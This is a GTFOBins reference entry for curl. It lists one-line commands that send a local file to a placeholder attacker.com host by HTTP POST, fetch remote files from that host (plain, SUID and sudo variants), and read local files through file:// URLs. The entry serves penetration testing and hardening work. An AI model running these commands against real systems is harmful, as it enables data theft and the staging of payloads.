GTFOBins.github.io/_gtfobins/curl.md

983 B

functions
upload download file-read suid-enabled sudo-enabled
description code
Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. URL=http://attacker.com/ LFILE=file_to_send curl -X POST -d @$file_to_send $URL
description code
Fetch a remote file via HTTP GET request. URL=http://attacker.com/file_to_get LFILE=file_to_save curl $URL -o $LFILE
description code
The file path must be absolute. LFILE=/tmp/file_to_read curl file://$LFILE
description code
Fetch a remote file via HTTP GET request. URL=http://attacker.com/file_to_get LFILE=file_to_save ./curl $URL -o $LFILE
description code
Fetch a remote file via HTTP GET request. URL=http://attacker.com/file_to_get LFILE=file_to_save sudo -E curl $URL -o $LFILE